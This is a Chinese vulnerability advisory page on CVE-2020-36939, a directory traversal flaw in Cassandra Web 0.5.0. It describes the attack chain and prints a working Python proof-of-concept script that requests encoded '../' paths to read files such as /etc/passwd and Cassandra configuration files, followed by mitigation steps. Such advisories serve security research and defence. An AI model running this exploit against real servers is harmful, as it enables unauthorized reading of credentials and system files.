IPBUF安全漏洞报告
English
CVE-2020-36939 CVSS 7.5 高危

CVE-2020-36939: Cassandra Web 0.5.0 目录遍历漏洞导致任意文件读取

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36939
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cassandra Web

相关标签

目录遍历任意文件读取CVE-2020-36939Cassandra Web路径穿越高危漏洞无需认证信息泄露

漏洞概述

CVE-2020-36939是Apache Cassandra Web管理界面中的一个高危安全漏洞,位于Cassandra Web 0.5.0版本。该漏洞属于目录遍历(Path Traversal)类型,允许未认证的远程攻击者通过构造特殊的URL路径参数,绕过安全限制读取服务器上的任意文件。由于Cassandra Web应用默认禁用了Rack::Protection安全模块,攻击者可以轻松利用此漏洞获取敏感信息,包括系统配置文件、/etc/passwd等系统文件,以及Apache Cassandra数据库的配置文件和凭据信息。此漏洞的CVSS评分为7.5,属于高危级别,对系统机密性造成严重影响。攻击者无需任何认证即可发起攻击,且无需用户交互,这使得漏洞利用门槛极低,危害范围广泛。任何部署了Cassandra Web 0.5.0且暴露在网络中的系统都可能受到影响。

技术细节

该漏洞存在于Cassandra Web应用的路由处理逻辑中。攻击者通过在URL路径中插入 '../' 之类的目录遍历序列,结合编码绕过技术(如URL编码、双重URL编码),可以突破应用的文件访问限制,读取web根目录之外的文件系统资源。具体来说,当用户请求类似 /..%2F..%2F..%2Fetc%2Fpasswd 或 /static/../../etc/passwd 的路径时,应用未能正确验证和过滤用户输入的路径参数,导致攻击者可以遍历到任意目录并读取文件内容。由于Rack::Protection模块被禁用,应用缺乏对常见Web攻击的防护机制。攻击者可以利用此漏洞读取:1) 系统敏感文件如/etc/passwd、/etc/shadow;2) Cassandra数据库配置文件(如cassandra.yaml)获取数据库连接凭据;3) 应用配置文件获取其他系统的访问密钥;4) 源代码文件进行进一步漏洞挖掘。漏洞的利用成功取决于目标系统的文件权限配置,若web服务进程以较高权限运行,攻击者可读取更多敏感文件。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标环境中运行的Cassandra Web 0.5.0版本,通常通过端口扫描(默认端口3000)或搜索Shodan、ZoomEye等网络空间搜索引擎
STEP 2
步骤2
构造Payload:攻击者构造目录遍历payload,使用URL编码、双重编码或路径标准化等技术绕过输入验证,例如使用%2F代替/,或使用../序列
STEP 3
步骤3
发送恶意请求:通过HTTP GET请求向目标服务器发送构造的路径遍历请求,尝试访问敏感文件如/etc/passwd或Cassandra配置文件
STEP 4
步骤4
获取敏感文件:若漏洞利用成功,服务器返回目标文件内容,攻击者获取系统用户信息、数据库凭据或其他敏感配置信息
STEP 5
步骤5
横向移动:利用获取的凭据信息,攻击者可以尝试连接Cassandra数据库、访问其他关联系统或进行更深层次的渗透攻击
STEP 6
步骤6
持久化控制:攻击者可能将获取的信息用于进一步攻击,如获取管理员凭据后部署后门或窃取更多数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36939 PoC - Cassandra Web Directory Traversal import requests import sys def exploit_cassandra_web(target_url, file_to_read): """ Exploit for CVE-2020-36939 - Cassandra Web Path Traversal Args: target_url: Base URL of vulnerable Cassandra Web instance file_to_read: Absolute path of file to read on target system """ # Encode path traversal sequences encoded_payload = file_to_read.replace('/', '%2F').replace('.', '%2E') # Method 1: Using URL encoding url1 = f"{target_url}/..%2F..%2F..%2F{encoded_payload}" # Method 2: Using double encoding url2 = f"{target_url}/..%252F..%252F..%252F{encoded_payload}" # Method 3: Using path normalization bypass url3 = f"{target_url}/static/../../{encoded_payload}" urls_to_try = [url1, url2, url3] for url in urls_to_try: try: print(f"[*] Trying: {url}") response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Success! File content:") print(response.text) return True elif response.status_code == 200: print(f"[*] Received empty response, trying next method") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2020-36939.py <target_url> <file_path>") print("Example: python cve-2020-36939.py http://target.com:3000 /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print(f"[*] Exploiting CVE-2020-36939 on {target}") print(f"[*] Attempting to read: {file_path}") if not exploit_cassandra_web(target, file_path): print("[-] Exploitation failed - target may not be vulnerable")

影响范围

Cassandra Web 0.5.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 使用反向代理(Nginx/Apache)限制对Cassandra Web的访问,仅允许受信任的IP地址访问;2) 临时关闭Cassandra Web服务,直到完成版本升级;3) 部署严格的入站请求过滤规则,阻止包含%2F、%2E、../等路径遍历特征字符的请求;4) 加强文件系统权限控制,确保web进程无法读取敏感配置文件;5) 监控和记录所有对Cassandra Web的请求日志,设置异常访问告警;6) 定期更换Cassandra数据库凭据,防止凭据泄露后被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表